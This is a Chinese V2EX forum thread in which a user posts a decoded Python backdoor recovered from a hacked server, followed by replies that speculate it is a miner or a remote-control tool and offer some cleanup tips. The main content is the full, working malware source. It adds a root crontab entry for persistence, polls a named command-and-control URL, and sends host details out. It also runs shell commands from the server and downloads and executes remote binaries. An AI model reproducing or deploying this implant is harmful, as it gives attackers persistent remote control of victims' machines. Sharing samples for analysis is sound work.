服务器被黑,搞到一个 py 脚本,大佬们拿去玩,我重装系统

2018-01-16 18:22:55 +08:00
 mritd

朋友服务器被黑了(真开心)...上去发现有个 python 后门在跑,base64 一下拿到脚本;不太懂 python,准备重装了,大佬们有喜欢搞得可以看看

服务器: http://k.zsw8.cc/Api/

base64 后代码

#coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import urllib
import socket
socket.setdefaulttimeout(5)
import subprocess
import threading
import time
import base64
import os

try:
    import uuid
    import platform
except Exception,e:
    pass

apiURL = "http://k.zsw8.cc/Api/"
runCodePath = '/bin/httpsd'
tmpPid= "/tmp/VWTFEdbwdaEjduiWar3adW"
runCode = '''
#coding: utf-8
import urllib
import base64
while True:
    try:
        page=base64.b64decode(urllib.urlopen("%s").read())
        exec(page)
    except:
        pass
    time.sleep(1800)
'''% (apiURL)

class CommonWay(object):
    CommonResult = []
    def __init__(self):pass
    def start(self):
        try:
            base64RunCode = base64.b64encode(runCode)
            f = open(runCodePath, "w+")
            f.write("python -c \"import base64;exec(base64.b64decode('%s'))\"" % base64RunCode)
            f.close()
            os.chmod(runCodePath, 0777)
            f = open("/etc/crontab", "r")
            crontabData = f.read()
            f.close()
            if runCodePath not in crontabData:
                f = open("/etc/crontab", "a+")
                f.write("\n0 */6 * * * root %s\n" % runCodePath)
                f.close()
        except Exception, e:
            pass
    def kill(self):
        try:
            try:
                f = open(tmpPid, 'r')
                pid = int(f.read())
                f.close()
                #os.system("kill -9 %d" % pid)
                os.kill(pid, 9)
            except Exception, e:
                pass
            pid = os.getpid()
            f = open(tmpPid, 'w+')
            f.write(str(pid))
            f.close()
        except Exception, e:
            pass
    def result(self, task_id, result):
        try:
            CommonWay.CommonResult.append({"id": task_id, "result": base64.b64encode(result)})
            #print CommonWay.CommonResult
            for my_data in CommonWay.CommonResult:
                f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
                if f.getcode() == 200:
                    CommonWay.CommonResult.remove(my_data)
                f.close()
            #print CommonWay.CommonResult
        except Exception, e:
            pass

class CommonData(object):
    def __init__(self): pass
    @property
    def get_key(self):
        hostname = ""
        mac = ""
        try:
            hostname = base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
            mac = uuid.UUID(int = uuid.getnode()).hex[-12:]
        except Exception, e:
            pass
        return hostname+":"+mac
    @property
    def get_name(self):
        try:
            return base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
        except Exception, e:
            return "null"
    def __readCpuInfo(self):
        f = open('/proc/stat')
        lines = f.readlines()
        f.close()
        for line in lines:
            line = line.lstrip()
            counters = line.split()
            if len(counters) < 5:
                continue
            if counters[0].startswith('cpu'):
                break
        total = 0
        for i in xrange(1, len(counters)):
            total = total + long(counters[i])
        idle = long(counters[4])
        return {'total': total, 'idle': idle}
    def __calcCpuUsage(self, counters1, counters2):
        idle = counters2['idle'] - counters1['idle']
        total = counters2['total'] - counters1['total']
        return 100 - (idle * 100 / total)
    @property
    def get_cpuuse(self):
        try:
            counters1 = self.__readCpuInfo()
            time.sleep(3)
            counters2 = self.__readCpuInfo()
            return str(self.__calcCpuUsage(counters1, counters2))+"%"
        except Exception, e:
            return "null"
    @property
    def get_cpucount(self):
        try:
            cpu_count = 0
            f = open("/proc/cpuinfo")
            lines = f.readlines()
            f.close()
            for line in lines:
                if ':' in line:
                    lineList = line.split(":", 2)
                    if lineList[0].strip() == "cpu cores":
                        cpu_count = int(lineList[1].strip())
                        break
            return cpu_count
        except Exception, e:
            return 0
    @property
    def get_core(self):
        try:
            return platform.architecture()[0]
        except Exception, e:
            return "null"
    @property
    def get_platform(self):
        try:
            import platform
            return platform.system()
        except Exception, e:
            return "null"
    @property
    def get_status(self):
        try:
            return "None"
        except Exception, e:
            return "None"

class CmdExec(object):
    def __init__(self, cmd, task_id):
        self.task_cmd = cmd
        self.task_id = task_id
        self.run()
    def run(self):
        t = threading.Thread(target=self.exec_cmd)
        t.setDaemon(True)
        t.start()
    def exec_cmd(self):
        try:
            mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            myCmdResult = mytask.stdout.read()
            #print self.task_id, myCmdResult
            #print myCmdResult, self.task_id
            c = CommonWay()
            c.result(self.task_id, myCmdResult)
        except Exception, e:
            pass

class DownExec(object):
    def __init__(self, downloadurl, taskid):
        self.downloadurl = downloadurl
        self.taskid = taskid
        self.run()
    def run(self):
        t = threading.Thread(target=self.download)
        t.setDaemon(True)
        t.start()
    def schedule(self, a, b, c):
        # a: block count
        # b: block size
        # c: file size
        per = 100.0 * a * b / c
        if per > 100: per = 100
        #print '%.2f%%' % per
    def download(self):
        try:
            f = urllib.urlretrieve(self.downloadurl, filename=None, reporthook=self.schedule, data=None)
            try:
                os.chmod(f[0], 0777)
            except:
                pass
            mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            myresult = mytask.stdout.read()
            # update result
            # print myresult, self.taskid
            c = CommonWay()
            c.result(self.taskid, myresult)
        except Exception, e:
            pass

    def __del__(self):
        urllib.urlcleanup()

class Client(object):
    def __init__(self):
        self.r_time = 30
        self.runMain()
    def get_task(self):
        try:
            code = 0
            html = ""
            d = CommonData()
            my_data = {"key": d.get_key}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
            code = f.getcode()
            html = f.read()
            f.close()
            data = eval(html)
            if data.has_key("id") and data["id"]:
                task_id = data["id"]
                if data.has_key("download") and data["download"]:
                    DownExec(data["download"], task_id)
                if data.has_key("cmd") and data["cmd"]:
                    CmdExec(data["cmd"], task_id)
            else:
                self.r_time = int(data["rtime"])
        except Exception, e:
            return False

    def up_online(self):
        try:
            code = 0
            html = ""
            d = CommonData()
            my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
            code = f.getcode()
            #html = f.read()
            f.close()
            if code == 200:
                return True
            else:
                return False
        except Exception, e:
            return False

    def runMain(self):
        try:
            commonWay = CommonWay()
            commonWay.start()
            commonWay.kill()
            while True:
                if not self.up_online():
                    time.sleep(60)
                    continue
                self.get_task()
                time.sleep(self.r_time)
        except Exception, e:
            pass

if __name__ == "__main__":
    c = Client()
5673 次点击
所在节点    Linux
16 条回复
gleymonkey
2018-01-16 18:25:34 +08:00
一看这网址就知道是挖矿的。
mritd
2018-01-16 18:41:04 +08:00
@gleymonkey cpu 百分百,绝壁挖矿,哈哈
trys1
2018-01-16 18:46:38 +08:00
比较好奇你怎么被黑的,弱口令?
以及以后该如何预防
huangunic0rn
2018-01-16 18:50:22 +08:00
反弹 shell?有大佬解释一下嘛
mritd
2018-01-16 18:50:35 +08:00
@trys1 不知道,朋友的服务器,我就上去看一眼😂
closedevice
2018-01-16 18:51:34 +08:00
写的一般,挖矿脚本
mritd
2018-01-16 18:51:35 +08:00
@trys1 我自己服务器只开 22 密钥认证,其他的跑 docker,省心
WuwuGin
2018-01-16 19:00:49 +08:00
@mritd 改端口啊,要不然你会看见几十兆的暴力登录 log
mritd
2018-01-16 19:03:13 +08:00
@WuwuGin 个人小博客,没什没事搞我 😀
kokutou
2018-01-16 19:06:55 +08:00
感觉只要开了 22,开机不出 5 分钟就有个登陆失败 log。。。
WuwuGin
2018-01-16 19:11:09 +08:00
@mritd 和大小无关,会一直被扫端口登录的。
vjnjc
2018-01-16 19:13:18 +08:00
@kokutou 深有同感,我的服务器每天都要被尝试个几百次
mritd
2018-01-16 19:20:34 +08:00
@WuwuGin 确实有,但是我的不怎么多啊
t333st
2018-01-17 10:49:12 +08:00
该脚本没看出挖矿相关,就是一个远控相关脚本
jeffson
2018-01-17 15:30:29 +08:00
关注!
findex
2018-04-14 03:06:38 +08:00
看了一下。是用挖矿的脚本。简单说说,数了数 cpu 等情况,开了多线程、自动下载 blocks 还有 size 校对,远程挖矿。而且是客户端,需要远程服务器分配任务来挖指定的片区。没看明白脚本的同学,经验还是不够。meltdown 之后变异漏洞太多。我看过不少的了。又用 perl 写的,有用 python 写的,伪装成各种文件。基本上就是这两种发行版会自带的语言解释器。先提权,再运行肉鸡代码。遇到这种情况,打补丁晚了。看看核心数据有没有被盗吧。sshd_config 有没有被改,有没有增加一个新的类似于 dropbear 的轻量 ssh 客户端在运行,或者其他后门程序。cron 被修改了没,是否加入了 authenticate_key。是否修改 /添加了其他用户。看看系统 log。看看 history (我见过有 cracker 写过 wipe log 的程序,可是入侵的时候忘记运行了,留下了马尾,是团伙作案,分工明确,但是还是有菜鸟去操作的)。这样可以把 cracker 找出来。但是 cracker 的 ip 有一定的匿名性,不过有些胆大的就不用 daili IP。业务价值含量高的话,分配点人力物力去追出来。不太重要的话,就随意了。这样搞的,欧洲居多,东欧最多。美中也不少。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/423408

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX